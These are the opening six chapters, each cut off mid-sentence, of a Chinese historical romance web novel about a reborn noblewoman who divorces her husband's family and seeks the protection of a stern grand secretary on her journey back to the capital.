《二嫁古板老男人》 1. 第一章 《二嫁古板老男人》全本免费阅读 春来回暖,花草树木全都自由地舒展身躯,明媚的日光下,几只长着嫩黄鸟喙的小雀正在惬意地梳理自己的羽毛,这片树林一切静好。 忽然,一阵混乱的马蹄声从远处传来,伴随着呼啸的风声,一辆精美绝伦的华盖马车突兀地闯进了林中。 小雀们抖了一下,飞快地从树枝上逃离,留下一片的簌簌声。 裴惊鹊紧紧地抓着马车的车辕,鬓发凌乱,一双美眸无意间看到了一只小雀的尾羽,只恨自己没有长出两只翅膀来,也好逃离后面那些贼人的追杀。 她从河东归去京城,行至涧水不过数个时辰的功夫,身边的家仆就为了保护她折损大半。 裴惊鹊深知自己才是那些贼人的目标,当机立断驾着马车就往这处密林中奔去,可是她抿紧唇瓣往后望去,心直直沉到最底处,贼人已经追了上来。 这些人下手狠辣,刀剑冷锐,绝非是寻常的路贼。 裴惊鹊咬紧牙关,拼命地驾着马车往密林深处去,心中只有一个念头,往前,往前,逃出生天! 然而,上天并未眷顾她。密林的前方并不是生路,而是一处悬崖。 裴惊鹊怔怔地望着前方骤然消失的绿意,明白今日她很难再捡回一条命,到了这个时候,她反而冷静下来,不再作任何挣扎之态。 清凌凌的目光往越来越近的贼人看去,在这些人搭弓射箭之时,她驾着马车决然地跃向悬崖。 到了最后,怎么去死她裴惊鹊仍然不愿意被任何人左右。 “风可真大啊,早知道今年的生辰就提前过了。” 骤然的失重感袭来,裴惊鹊陷入无尽的黑暗之前,深幽的山谷中只留下了这句轻轻的嘟囔。 …… “咳,娘子,是不是茶水凉了,奴婢再给您换一杯温热的。”青萍熟悉的声音隐晦地带着一分提醒,猛地让裴惊鹊从那段濒死的记忆中回神。 她看到碧绿茶汤中完好无损的自己,抓着白瓷杯的细指不由攥紧,仅是一瞬,整个人就回到了现实。 回到了十日前,她对周家人彻底不耐烦的时候。 裴惊鹊确认自己已经死过一次了,人跟着那辆她最喜欢的马车一同坠落深崖,可不知为何,她竟然又活过来了。 昨天一早她香汗淋漓地惊醒,发现自己没有去到黄泉奈何桥,而是好端端地躺在河东郡丞府的床榻上。 起初,裴惊鹊也以为做了一场噩梦,可是昨天发生的种种事情竟然都一分不差地对上了。 恍惚之余,她断定自己确实重活了一次,因为光怪陆离的变故,这两日裴惊鹊总时不时的发呆。 要么沉浸在那段死去的记忆中,要么思绪飞到究竟是何人要杀她,她这一次还能不能躲过去。 今日被婆母周老夫人唤人请来,她刚喝了两口茶又开始神游天外。 “依老婆子看,恐怕不是茶水凉了,而是懒得听我讲话。裴氏,你好歹也是名门之后,却连最基本的恭顺都做不到,你眼中到底有没有我这个婆母?” 郡丞府的老夫人,裴惊鹊的婆母陈氏一肚子气,眼神颇为不善挑剔地盯着她。 若在往日,裴惊鹊刚嫁进周家的头两年,陈氏哪怕心中不满也不会如此直白地表露出来。 因为她要时时刻刻挂着一张慈和的笑脸,占用长辈的名头从这个尊贵的儿媳手中谋些好处。 珍贵的布匹、耀眼的首饰、白花花的银子,所有陈氏没有见过或从前没有拥有过的好东西,都会贪婪地朝着裴惊鹊索取。 谁叫裴惊鹊嫁给了她的儿子周晋安,身为儿媳孝顺婆母不是理所应当的吗? 不过之前即便她心里这么想,表面还是和和气气的,因为裴惊鹊可是当今皇后的亲侄女,承恩公的嫡长女,太子殿下的表妹! 而周家虽然有些底蕴,她的儿子周晋安也高中了探花,但和皇亲国戚比起来还差得远呢。 陈氏不傻,磋磨人的手段不敢往裴惊鹊的身上使,只冲着大儿媳和小儿媳去。 但开春以来,太子犯错惹怒陛下被幽禁承光宫,内宫裴皇后也被禁足,废太子立赵王的流言传的沸沸扬扬,河东府郡上下也早已经传遍。 陈氏从自己的娘家侄儿还有来往的夫人口中得知自古被废了储位的太子都没有好下场,连带亲近太子的人也将大难临头,她就再维持不住体面,对二儿媳裴惊鹊冷脸相对。 甚至私下,当着其他两个儿媳还有府中奴仆的面,陈氏喋喋不休地咒骂起人。 “行状妖娆、不守妇德……福薄命短、平白有一个好出身……旁的甚甚都不会,嫁人三年了连个孩子都生不了……不孝不悌,招祸的秧子,早早地死了别连累了我儿我周家……” 随着一句句毫不掩饰地咒骂,她那张往日的笑脸完全地被撕了下来,徒留令人后背发凉的狠意。 原来看不惯裴惊鹊随心所欲的程氏和孟氏心中都对人生出了同情,落毛的凤凰不如鸡,只看婆母的态度,以后裴惊鹊的日子不知要难过多少倍。 不过她们是不会管的,虽然也从裴惊鹊的手里得到了不少好东西,可在这个府里,她们对裴惊鹊无论如何都喜欢不起来。 此时,站在陈氏左手边的程氏回想着婆母咒骂的话语,看了一眼女子脸上漫不经心的神色,默默摇头。 哪家有像她这样的女子,每日只顾寻欢作乐,不去讨好公婆,不对夫君小意温柔,生儿育女那等关系女子后半生的大事也不见她上过心。 她就像是一只五彩斑斓的蝴蝶,日日栖息流连在香气四溢的花丛中,遇到闯入的游人开心了就飞过去绕一圈,不乐意了那是连一个眼神都不吝于给的。 同样站在陈氏右手边的孟氏对裴惊鹊这位二嫂更多的感受是嫉妒。都是周家的儿媳,凭什么她就可以过的那般肆意潇洒,晨昏定省说不来就不来,婆母送的婢女不喜欢就懒懒地伸伸手指让人原路回去。 就连她地位不稳的现在,她也还是稳稳当当地坐着,而自己和大嫂却是恭恭敬敬地站在婆母的身后。 婆母来势汹汹地问话,她甚至无所谓地看起了手中的茶汤,连个眼皮都不曾动过。 孟氏心头不甘,深吸了一口气,故作好意地接过了周老夫人的话头,笑道,“二嫂不是那等不孝的人,母亲千万消消气,不过一个妾室而已,二嫂肯定不会拒绝的。” 说着,她推了推一边生着鹅蛋脸身段姣好的婢女,人是服侍周老夫人的桃花,性情柔顺。 孟氏心知肚明桃花还是周老夫人为二房孙子准备好的生母,裴惊鹊生不了孩子,那就让桃花生。 桃花生出的孩子记在裴惊鹊的名下,将来就能名正言顺继承裴惊鹊那庞大的嫁妆…… “二夫人,奴婢定当尽心尽意服侍二郎君……还有您。”桃花穿着一身粉衣,柔柔弱弱地跪在地上,端的是人比花娇。 然而,当堂中她跪着的女子慢慢悠悠地抬起眉眼,所有人的目光都不会往一个婢女的脸上停留一分。 乌黑的长发随意地垂落着,精致而秾丽的五官本该是极尽妩媚的,可偏偏她那双潋滟的眼眸融合了淡淡的天真懵懂,纯洁又干净。 不少人会被这一层假象所蒙蔽,但只要裴惊鹊一开口,他们就会明白她不是不懂仅仅是不在意。 这个世间不存在能够束缚 2. 第二章 《二嫁古板老男人》全本免费阅读 裴惊鹊恍惚了一瞬,因为她觉得周晋安看过来的眼神中似乎蕴含了许多复杂的情绪。 然而上一次周家人的吵闹耗费了她的精力,这一次死前的记忆又占据了她全部的心神,她最终还是没有主动去探究。 “周晋安,你要同我和离吗?”裴惊鹊收起了心头划过的一分异样,睁着一双灿若琉璃的眼睛轻声问他。 她整个人还是懒懒散散坐在椅子上的,眼尾有些弯,笑意盈盈,仿佛和离对她而言并不是一件十分要紧的事。 周晋安瞳孔微缩,绷紧了薄唇一言未发,他想到了数年前她也是这般笑着出现在他的面前,轻飘飘地问他要与她成婚吗? “周探花游街的模样我实在喜欢,你还未娶妻,我现在想要嫁人了,你愿意同我成婚结为夫妻吗?” 那时的她和现在相比仅仅容貌有些青涩,语气和神态都没有丝毫改变。选择和他成婚无关紧要,脱口而出和离也毫无挣扎与犹豫。 怒气从他的血肉中滋发,在他的身躯内横冲直撞,周晋安的神色很快染上了冷戾,尖锐的颌骨仿佛一把利剑。 堂中程氏和孟氏等人已经屏紧呼吸,就连周老太爷和老夫人陈氏在窥到儿子的脸色后都下意识心中一紧。 凝滞的寂静之下,裴惊鹊却是幽幽地叹了一口气,又是冷脸,半年来她见过周晋安许多次这般的冷脸了,问他到底怎么了他也不说。 裴惊鹊越来越心灰意冷,待在郡丞府也乏味起来,期间也生过和离的念头呢。 当然,日子勉勉强强也过得下去,可是偏偏周家的其他人不安分,他们夫妻感情不就越变越淡了吗。 “母亲想为你纳妾,我不会同意的。不仅如此,只要我还是你的夫人,你就永远不可能有妾室,哪怕发生任何事。”裴惊鹊瞅了瞅男子抿直的薄唇,一点都不心虚,这些话她早在成婚之前就和周晋安说清楚了啊。 一个男子有第二个女人那不就脏了吗?她皱着鼻头想,脏男人必须离她远一点,不能近她的身,就算说再多她欢喜的甜言蜜语也不行。 周晋安沉着脸,还是没开口。 他的母亲,周老夫人像是被戳了痛脚猛然呼吸急促,裴氏居然告她的状,哪里有做一个儿媳的样子。 “你嫁给晋安三年毫无所出,纳妾是必须的!你这女人,好歹毒的心思,挑拨我们母子关系,还想让我儿断子绝孙不成?”她厉声指责裴惊鹊,恨不得将这几年所有的不满倾泻而出。 越说越气愤,好似她受了多大的罪过,到了最后还想让婆子对裴惊鹊动家法。 和离之前裴惊鹊就是她周家媳,婆母教训儿媳天经地义。 周家的婆子还未有动静,青萍等人就立刻将裴惊鹊护在了中间,眼神多有鄙夷。 裴惊鹊倒是很淡定,动家法而已,上一次她就体会过了。 “周晋安,你现在和从前不一样了,总也不出声。”她也不管周老夫人,只嘟着粉唇略带抱怨地同周晋安说话。 眼睛一眨不眨盯着他的薄唇,心道世间流传的话有些道理,唇薄的男子也薄情,周晋安现在定然是变心了。 换在他们刚成婚的时候,他已经上前来哄她了,语气肯定也温柔,不会是冷冷要发怒的模样。 听到她抱怨却还含着娇憨意味的话,周晋安的薄唇动了动,体内的怒意被他狠狠地压了下去。 “顶撞长辈,是为不孝。惊鹊,日后你不得再对母亲如此失礼。”他一字一句地同裴惊鹊说,语气平静。 夫为妻纲,男子历来就是女子头顶的天空。周晋安自幼受到这样的认知,此时此刻却是第一次明明白白地将这个道理摆在裴惊鹊的面前。 闻言,周老夫人露出了满意的笑容,其他人也松一口气,周晋安能说出这样的话就代表着他是向着周家人一边。 也不意外,毕竟有哪个男子可以接受自己将来膝下空空呢?裴惊鹊三年都无所出,估计这辈子也生不了孩子,她还霸道地不准其他女人生,活该被厌弃! 裴惊鹊很失望,失望到心口破了一个洞,有些凉有些痛,不纳妾是提前说好的,动家法也是周老夫人先提的,周晋安不仅不来哄她反而还定下她不孝的罪名。 好在经历过一次心疲力尽,她的失望也没持续多久,都要和离了何必再争论呢? “看来,你也愿意同我和离,既然如此,和离书一式两份我们都写了吧。”裴惊鹊还记得和离书的内容,诚恳地表示责日不如撞日,事情今天就可以办了。 “日后桥归桥路归路,我不会再拦着你纳妾。”留下这句话,她状若无人地步出了周老夫人所居的松寿堂,忙着回去让青萍等人收拾东西。 这一次可要早早地离开河东郡,路上估计能太平一些?不对,她还要换一条路,家仆们也得多带护甲和兵器。 女子的举动仿佛是浑然天成,从头到尾都看不出一分迟疑与伤心,周晋安死死抿着唇,在她的背影即将消失蓦然出了声。 “太子此次过失重大,以致无可挽回,朝中弹劾不断,陛下日前已经下旨承光宫只进不出,春祭礼交由赵王主持。惊鹊,你可想清楚了?” 女子的背影稍稍停顿了一瞬,转过头来是她仍旧不见阴霾的眼睛,有些茫然还有些奇怪。 太子表兄倒了霉,与她和离不是刚好?周晋安为何又生气了。 不管了,想不通就不想了。 裴惊鹊再度转身,低头抬脚的那一刻微垂的卷翘眼睫隐带几分天然、从未经过掩饰的……凉薄。 看清她神色的周晋安刷一下阴了脸,周身的冷气如坚冰一般笼罩着他。 见此,周老夫人再度咒骂了裴惊鹊几句,害怕儿子对人念念不忘,索性直接将准备好的侍妾桃花推了过去。 “好好服侍,今后少不了你的赏。” 桃花含羞带怯地嗯了一声,步履袅袅地走上前,周晋安皱了皱眉,寒着一张脸命人将她带回书房,然而却一眼都没看 3. 第三章 《二嫁古板老男人》全本免费阅读 一记起这个人的名字,裴惊鹊破天荒地有些心虚。 无他,认真算起来,顾峤顾首辅与她有些渊源,因为他是顾明曜的亲叔父。顾明曜又是谁呢?是裴惊鹊自幼就定下的未婚夫。 当然,在裴惊鹊看上考中了探花的周晋安之时,她与顾明曜的婚约已经退掉不存在了。 主动上门退掉这桩婚事的人是裴惊鹊……至于退婚的缘由,她想着想着又理直气壮起来。 退婚又不能怪到她的身上! 顾明曜长相英俊,身形挺拔,两人一开始定下婚约时裴惊鹊很喜欢,每逢佳节她还会主动给他写信,邀请他出门游玩,遇到好吃的好玩的她也没有忘记他,开开心心地和他分享。 她这个未婚妻做的多好多尽职啊,也没见顾明曜的表情有过不乐意。 可是!就在两家开始商议婚期的节骨眼上,裴惊鹊竟然发现了顾明曜收用了两名通房!不仅如此,他还把裴惊鹊送给他的平安符转送给了姑家的表妹! 这裴惊鹊怎么能忍?她深思熟虑了整整两个时辰啊,连最爱的梅花露都没饮用,直接冲到了顾家去。 姑家表妹的事不好说出来,可两名通房是实打实存在的啊。裴惊鹊的理由很充分,顾明曜不重视她这个未婚妻,顾家打承恩公府的脸,婚约必须立刻退掉! 其实顾家确实理亏,因为凡是持身清正的人家都不会在正室进门之前收用妾室。 可没奈何裴惊鹊一个未婚的小娘子挑破了此事,还睁着一双似懂非懂的大眼睛反问了顾明曜的父母一句话。 “原来,这就是顾家的家风啊?” 此话一出,顾家人的脸色都隐隐发青,婚约火速退掉了。 事情传了出去,顾明曜遭受了一些质疑,但与此同时,裴惊鹊张狂无状、肆意妄为的坏名声也传的很广。 裴惊鹊是不在乎的,此时此刻也完全不后悔。然而,顾家人可能在乎,尤其是那位权重位高的首辅。 在顾明曜的口中,他的小叔父年纪虽然只比他长了六七岁,但为人的秉性比他的祖父都要严肃板正。 裴惊鹊记起顾明曜微带畏惧的感慨,“自我能记事以来,就从没见过叔父有任何失态懈怠的时刻,他连中三元,家中人皆欢喜不已,可叔父仍旧还是那副平淡的表情。他几乎不笑,不与人取乐,每日何时用膳何时读书何时沐浴也都是固定的,不容许任何行差就错。” 她当时就觉得这样的人必定能成就一番大事,果然在她和顾明曜退婚后的隔月,顾峤成了本朝年纪最轻的首辅。 数年过去,顾峤的地位只会更高更稳固,否则邓郡守也不会那般小心谨慎。 裴惊鹊心知肚明,表兄和姑母受挫,她所谓国公之女的名头就什么不是,死了也无关紧要。但不管宁妃还是赵王,亦或是其他想要杀她的人,都不敢对当朝首辅下手。 除非他们嫌自己的命活的太长了。 要不就蹭一蹭这位曾经的顾叔父?好歹她当初也认认真真地唤了好几声叔父。蹭一蹭护卫而已,一点都不过分呢。 侄债叔偿!顾明曜亏欠她,那是不容分辨的事实! 一旦想到了法子,裴惊鹊就变得自在起来,从容闭上了眼睛。 次日她惯例睡到了日上三竿,先是懒洋洋地拥着锦被磨蹭了小半个时辰,才半阖着眼眸叫了侍女进来。 穿衣、洗漱、梳妆,又半个时辰之后,裴惊鹊才想起来问东西都收拾好了没有。 “哪能这般快呢,娘子,若真把东西全带走回京城,郡丞府都得拆下来大半。”青萍依旧是愤愤不已,她一点不想把东西便宜给了周家人。 尤其今日她又听到了一些关于娘子的流言之后。 “寡廉鲜耻纳妾的人是姑爷,还想对娘子动手的是周老夫人,外头却都在传娘子您善妒以势逼人,姑爷忍无可忍与您和离。” “娘子,周家的做法的确过分了。”莫说青萍,就连稳重寡言的翡香都表示了不满。 裴惊鹊惬意地品味着唇齿间梅露的芬香,心想今天的名声又变烂了一些,真是好极了。 那她接下来无论做些什么都不会有人大惊小怪。 “你想拆那就动手嘛,我的嫁妆全都要带走天经地义,周晋安不会如何的。”她笑眯眯地让青萍带几个人“清理”郡丞府,务必要仔细着来。 青萍闻言不觉有异,兴冲冲地按照她的吩咐去做了,反正娘子做的出格的事多了去了,不差这一桩。 倒是翡香看出了些端倪,无声地用目光询问自家娘子。 “翡香,你带人去到郡城中打听,这几日河东郡会有一位贵人途经,他经过的那日我们就从周家离开。” 她不会冒着风险去探听顾峤一行人,但郡守府的动向轻易就可以查到的。 裴惊鹊打起了小算盘,笑靥如花,因为饮了有些酒味的梅花露,两颊粉扑扑的如同涂了胭脂。 从她的身上当真看不出一丁点儿和离之后的失意,隔着一扇轩窗,远远望见这一抹笑容之后,周晋安的双眸微赤。 “……郎君,您要过去吗?”他身边的亲随见他迟迟不动,小心翼翼地问道。 “是我忘了,她从来都是这样的人。傲骨不折,心性不改,注定不是我的……只待半年,半年就好。”周晋安低声呢喃,阴郁之色慢慢弥漫到他俊美的脸上。 不知为何,亲随听到了他的话之后心中划过一道寒意。 人的骨头都是硬的,性子也是早早就长成的,怎么能变呢。 …… 和离之后,裴惊鹊的日子过的和从前没有什么变化。 她笃定周晋安要脸面不会阻止她拆郡丞府的举动,周老夫人和周家其他人气的跳脚又如何,有嫁妆单子在,数十个身高体壮的家仆站出来,她完全有底气。 虽然外头的名声已经烂到无可复加,但裴惊鹊早就习惯了…… 一直到三日后,翡香从郡守府得到了次日宴请贵客的消息,裴惊鹊才让青萍收手。 一大早,她就像无事发生一般,换了一件精美的衣裙,化了妩媚的妆容,浅笑盈盈地到周父周母的面前辞行。 周晋安依旧去了邓郡守府上,人不在。 “虽然我和晋安和离后,已经不是伯父伯母的儿媳,但是我一直深知尊敬长辈的道理,嫁妆里面带不走的东西就留给伯父伯母了。不对,伯父伯母自恃长辈,肯定不会收下,那就留给晋安好了。紫檀木的屏风,明珠霞帐,还有库房里太过沉重的几座山石。也当这些年我惦记与晋安的情谊……” 女子言辞诚恳,开头的话还能听的下去,然后她话锋陡然一转,周父周母表情都变得难看起来。 裴惊鹊却像是没看到似的,继续好心好意地劝人,“伯父伯母,有一句话我一定得叮嘱你们,你们尽管偏疼其余两子,可也不能忽视了晋安。为人父母要公平公正,他们烂泥扶不上墙是他们的错,与晋安是无关的。” “啊呀,尤其是三郎,又蠢又坏的,我觉得他迟早会祸害你们全家。不要落得抄家流放的下场才好呢。”她的眼眸颇为同情地瞅了下周三郎的夫人孟氏,没办法,她也记仇。 孟氏牙齿咬的咯咯响,周老太爷气的胡须乱颤,至于周老夫人,更是目眦俱裂,恶狠狠地盯着她。 裴惊鹊见好就 4. 第四章 《二嫁古板老男人》全本免费阅读 “娘子,方才是过去了一支车队,奴婢让临伯打听了一句,大概是出城的行商,那些人都不怎么爱说话。” 青萍老老实实地回答,很快就惊讶地看到自家娘子的脸上露出了相当难得的懊恼。 有多难得呢?反正几年也见不到一次。 裴惊鹊心中的猜想得到验证,手心握着那块麒麟玉佩,四处东张西望了一眼,恹恹地让人将弄到一半的布置又收回去。 都到中午了,她的肚子也饿了,正是好好休息用膳的时候,却还要赶路追上去。 她本能地有些不乐意,但也清楚,有些机会绝对不能错过,上天能让她捡到这块玉佩,对她已经是格外的眷顾。 “赶路吧,和临伯说加快车程,我们必须要尽快追到方才那支商队。”裴惊鹊只好又回了马车之中,无精打采地吃起了侍女们一早准备好的肉脯。 好在她平时比较爱吃,小小的一块肉脯看着不起眼,实际上又蒸又烤经过了五六道工序,里头还放了蜂蜜和香料,润润的味道极好。 她颇为挑剔地吃了三五块,捧着翡香递过来的茶汤抿了两口,好不容易提起来的一颗心又切切实实落回了原处。 乌发随意散落,裴惊鹊懒懒地歪在香软的褥中,拿一方用月光锦裁成的帕子,先是擦了擦自己的指尖,然后慢慢摩挲起墨绿色的麒麟玉佩。 上面刻着的三个字,从她微张的唇瓣中轻轻地飘了出来,她笑,眼尾弯弯,煞是狡黠。 多好的一次机会啊,原本裴惊鹊还需要思索一个接近顾首辅的借口,现在玉佩在手,理由不就有了吗? 她又不是故意要招顾首辅的眼,因为捡到了顾首辅的玉佩,深觉此物珍贵,所以着急追了上来。 见到顾首辅的面,攀攀关系乖乖巧巧地喊一声世叔,裴惊鹊想,世叔都喊了,她这个世侄女又悲惨地才与夫君和离,于情于理世叔都该允许她一路同行回京城吧。 裴惊鹊的信心一回来,对着车程加快产生的颠簸也不在乎了,反而困意一点点变得浓重起来。 她脱掉鞋子,身子软软地向下滑,不一会儿人就睡着了。 墨绿色的玉佩静静地躺在她的颈间,不知不觉沾染了一分清香。 …… 匡梁跟在自家五爷身边多年,性子向来谨慎,眼看着夕阳西下,这条官道的人也越来越少,他策马向后,交代亲卫们加快速度。 再行二十里便是驿站,他们要在天黑之前赶在那里。 邬庭是这些亲卫的首领,他策马坠在队伍的最后面,闻言不仅没有依照而行反而还让人放轻脚步声。 “怎么?有异状?”匡梁神色立刻严肃起来,这一路容不得任何闪失。 邬庭点点头,眯着眼睛往后望去,沉声道,“后方有马蹄声,还有车轮碾过的声音,应当接近百人。” “……他们越来越近了,我看到了…咦?金红色会发光的马车车盖。” 邬庭的话音刚落下,匡梁也看到那抹显眼的金红色了,他呼吸一滞,许久才组织好语言。 “我们继续赶路……那是裴氏女的马车,可能他们也想在天黑之前就到驿站所以追了上来。” 邬庭点点头,命车队如常。 然而,那辆有着金红色华盖的马车离他们越来越近,速度也越来越快,最后阻拦不及竟然直冲冲地插入了他们的车队中。 不仔细看,倒还让人以为两支车队本就是一起的,甚至异常华贵的这一辆马车里面坐着的人才是他们的主子。 若非邬庭对裴氏女的大名也如雷贯耳,此刻他们更不想表露身份,几十名亲卫早就动手了。 “先不要动,我去问问五爷。”匡梁皱眉看着近在咫尺的华盖马车,心中对裴氏女的妄为又有了一个新概念。 他隔着一道马车璧低声将情况说给了里面的人。 “停下,让他们先过去。”车内的人一如既往的漠然,也十分低调,命令下属主动为人让路。 匡梁照着做了,让他们的车马都移到道路的一侧,暂时停下。 然而事不如人愿,他们停下以后载着裴氏女的马车也不动了,应是裴家家仆的那些人也理所应当地停了下来。 匡梁的脸色微变,立刻又将此事禀报,他觉得裴氏女不会是故意的吧? 实际上裴惊鹊还真不是有意为之,因为此时的她睡的正香甜,根本就不知道发生了何事。 她随心所欲惯了,青萍翡香等人也都知道,根本不会特意唤醒她。加上惦记着她说追上这支商队的话,于是她们就选择了眼下这个局面。 越过去就不叫追上了,娘子怎么说她们就怎么做。 “无妨,随他们去,继续往前。”听了匡梁的禀报,马车里的男子沉默了一瞬,直接将此事略了过去。 这点突发的小状况还不值得他关心。 “是。” 亲卫们继续护着前方低调的乌木马车前行,不出意外,裴氏女的车队也跟着动了起来。 一个多时辰的时间里,两方保持着诡异的默契,没有任何交流,终于在天色彻底暗淡之前到了驿站。 驿站的驿长姓方,是个中年方脸的男子,他听到驿卒说承恩公的嫡长女与河东郡丞和离后出城要到这里留宿一晚,当即毕恭毕敬地迎了出去。 太子殿下和皇后娘娘境况再不好也是他们这些人需要高高仰望的贵人,裴氏女他们根本不敢怠慢。 因为两支车队是连在一起的,驿长和驿卒自然而然地以为所见的车马奴仆全部属于裴氏,一边感慨这惊人的排场,一边赔笑将驿站最好的房舍收拾了出来。 匡梁等人无心与一个郡城的驿长解释,看了看房间,确实布置的还可以,就什么也没说。 他看了一眼那辆纹丝不动的华盖马车,请自家主子先进去驿站休息。 整整赶了一日的路,主子应当有些疲累了。 也就是在这个时候,裴惊鹊稍稍清醒了些,她慵懒地翻了个身,娇娇嘤咛两声,表示自己结束了一场美梦。 青萍等人听到动静,立即移开了对前方商队的注意力,有条不紊地将华盖马车围了起来,伺候她起身。 青白的天色和昏黄的烛光之下,身着墨蓝色刻丝鹤氅的男子一步一步走进驿站,步履从容而平缓。 裴惊鹊接过侍女手中的斗篷,从车内探出莹白的小脸,眼眸轻抬,只依稀瞥见一点暗色的衣角。 春日的傍晚,还是颇为寒凉的。 然而,那块麒麟玉佩已经被她的体温烘热了,夹带着一股暖融融的香气。 美梦初醒,裴惊鹊整个人依旧懒懒的,她随手将玉佩挂在自己的腰间,随后在驿长等人的点头哈腰中走进驿站中已经收拾干净的房间。 到了房间里面,她先是笑眼朦胧地朝着驿长微微颔首,而后就旁若无人地打着哈欠坐在了凳子上。 青萍接到示意直接递给了驿长一个荷包,表示她们还需借用一下驿站的厨房,驿长大喜之下自不会拒绝,带着一些人往 5. 第五章 《二嫁古板老男人》全本免费阅读 她并未看到他,窝在雪白的皮毛中像个天真的孩童一般玩起了一朵寻常的菜花,就连一双腿也极为不老实,布袜早就被扔去,露出靡颜腻里的肌肤。 黄色的花朵辗转在她的玉指之间,不一会儿就被她蹂躏的不成模样,她却兴致大起,用手挤压起花液,馥郁的花香弥漫,从指尖流下,女子仿佛一只流连忘返的蝴蝶,似乎想尝一尝汁水是什么味道,急急地伸出粉嫩的舌尖去舔舐…… 顾峤全身的肌肉骤然绷紧,他闭了闭眼睛,恢复了平静无波的神色。 “你在我的房间里。做什么?”他顿了顿,开口,声音低沉。 忽然响起的男子嗓音可把裴惊鹊吓了一大跳,她的唇角还沾着一些花液,顾不得擦拭就瞪圆了眼睛看过来。 立在床榻前的男人身量高挺,熨帖的墨蓝色外袍裹着流畅紧实的轮廓,湿意扑面而来,似是刚沐浴过。 她的眼神愣愣地上移,入目是一张漠然到至极的脸,虽不如周晋安俊美,但眉目五官极为矜雅,无一分不妥之处,眼眸竟然是带些灰色的,静静地注视她,极具威势。 裴惊鹊立刻就想到了巍峨不动的高山,冬日铺天盖地的风雪,以及……那股埋在记忆里多年令她窒息的感觉。 她下意识地舔舐自己的唇瓣咬了一下,没有人知道这是裴惊鹊紧张的唯一体现。 “我……这是我的房间,给了驿长一百两银子换来的。”裴惊鹊心下大乱,连给驿长银子这样的话都说了出来。 顾峤居高临下地看她唇瓣咬出的齿痕,神色无一分变化,“错了,上楼梯右手边的第二个房间才是你的。” 这间房舍不过刚好与裴惊鹊的那间布置一样,但位置却是在相反的左手边。 女子走错了地方,误入了不属于她的房间。 闻言,裴惊鹊的眼睛蓦地睁得更大,她艰难地回想自己下楼时房舍的位置,呼吸都变得急促起来。 似乎真的和男人说的那样,她走错了房间,不仅如此,还衣衫不整地躺在他的榻上,做出许多在闺房私密之地才会有的情状…… 整个人又羞又窘,裴惊鹊深呼一口气,故作镇定地冲着男人道了一声歉,光着脚踩着鞋子,连布袜都没套上,急忙往门外而去。 刚好走到男人身边时,她又听到一道波澜不惊的声音。 “外衫、斗篷未拿,袜子、鞋子也穿好。” …… 裴惊鹊回首望了望凌乱的床榻,又深吸一口气折返回去。 顾峤目不斜视,坐在了她之前坐过的凳子上。端过那碗已经不太热的跑马汤,他不紧不慢地用了起来。 也许是跑马汤的滋味确实鲜美,也许男人本就不是挑剔的性子,一碗汤羹被他用尽。 茶水漱口,带着灰色的眸子看过来的时候,裴惊鹊的衣物和鞋袜刚好穿戴整齐。 顾峤淡淡瞥过女子的腰间,才道了一句,“出去,关好房门。” 裴惊鹊也不知道为什么,游魂状起身,竟然真的按照他说的一般,如此乖巧。 人一直走到房门边,低头的瞬间,她看到了垂下的墨绿色玉佩,方如梦初醒,想起了她走错房间的原因。 她之所以出门是为了求见那位顾首辅。而在这座驿站里面唯一可能是顾首辅的男子……她目光灼灼,认真地一寸寸打量男人的脸庞,果然在其中发现了和顾明曜相似的地方。 “咳,世叔容禀,惊鹊并非有意走错房间到您这里,只是驿站安排的房舍十分相似。”女子轻屏鼻息,罕见地做出一副端庄之态,和之前行为放肆舔舐花朵汁液相比简直是两模两样。 顾峤坐着,掀了掀眼皮没有否认,“你从前与明曜定有婚约,喊我一声世叔,倒也妥当。” 裴惊鹊闻声,稍微有些惊讶,原来他早就知道她的身份。 想通这一点,她的脸颊染上了嫣红,是气的。真是屋漏偏逢连夜雨,自己方才的举动被他看见个正着,那还怎么给人留下一个好印象?! 都怪这座驿站!房间为何要布置的一模一样! 她心里越气,脸上笑的越盛,故作惊喜地与男人搭话,“人在异乡,惊鹊也没想到能遇到世叔,世叔风华不减,还是和明曜口中的叔父一模一样。” “嗯。”他神色淡淡,像是对她刻意的讨好没有触动。 裴惊鹊并不气馁,本来嘛,她与顾明曜闹的也不好看。她想了想,解下了腰间挂着的玉佩,厚着脸皮慢吞吞坐在了顾首辅旁边的凳子上。 “世叔,惊鹊之前捡到了一只麒麟玉佩,上面刻着顾从易三个字,明曜说过,从易是世叔的表字。” 对待长辈要尊敬,裴惊鹊双手捧着玉佩,贴心地举到离顾世叔的下巴只有咫尺的位置。 为了不让人有恶感,脸上的妩媚笑意她都刻意地收敛了一下,乍一看纯良又清澈,倒真像是男人的世侄女。 “这块玉佩确是我的贴身之物,也许马车颠簸,落了下去。”顾峤看到熟悉的麒麟玉佩,神色才产生了轻微的变化,他皱着眉头,似是对玉佩遗失有些不悦。 裴惊鹊偷偷观察,立刻将手举地更高,眼尾弯弯,“既是世叔的,世叔就拿去吧,还好叫我捡到,也是因为我与世叔同路。路途遥远,惊鹊一想到 6. 第六章 《二嫁古板老男人》全本免费阅读 屋中,她一双水灵灵的眼睛一眨不眨地盯着人,丝毫不觉得自己是在“威胁”当朝一等一的重臣顾首辅。 顾峤垂眸,目光落到了那一双纤巧的赤足上,世间女子无论出嫁与否,在成年的陌生男子面前袒露双足都是一种极为失礼甚至……放、荡的行为。 而她,显然毫不在意,悠哉悠哉地晃着脚还觉得颇为好玩。 发现了他的注目后,圆润可爱的脚趾头不仅没有往后缩,而且动来动去,似是有意让他看的更清楚些。 裴惊鹊有什么可觉得羞耻的呢?她私以为脚和手都是一样的,不需要藏着掖着,要知道到了盛夏的时候为了抵御炎热,她大部分都是光着脚的。 再者,她的脚多好看啊,脚踝优美细长,肌肤柔美细腻,形似玉笋。 她笑靥如花,有心炫耀一番,双脚翘的很高。 “退出去,今日之事我不同你计较。”然而,顾峤灰眸没有变化,语气也很平和,只将她当作了不知事在胡闹的小姑娘。 也就是如此,他的身上才多了一分耐心,否则,此时此刻,不管裴惊鹊是何身份,他都会毫不留情地命人将她拖下去。 闻言,裴惊鹊失望地叹了一口气,她不过就是想与顾世叔一同回京城,路上有个照应罢了,心思纯粹又简单,顾世叔却拒绝地过于干脆。 没有办法,她只能厚着脸皮让人松口了。 女子装作没听到的模样,重新躺了回去,顺带着就连双眸都闭上了,大有一种不让她同路就“同房”的架势。 裴惊鹊笃定顾首辅爱护声名,然后又不会让人对她一个刚与夫君和离的凄惨女子动手,躺的那叫一个心安理得理直气壮。 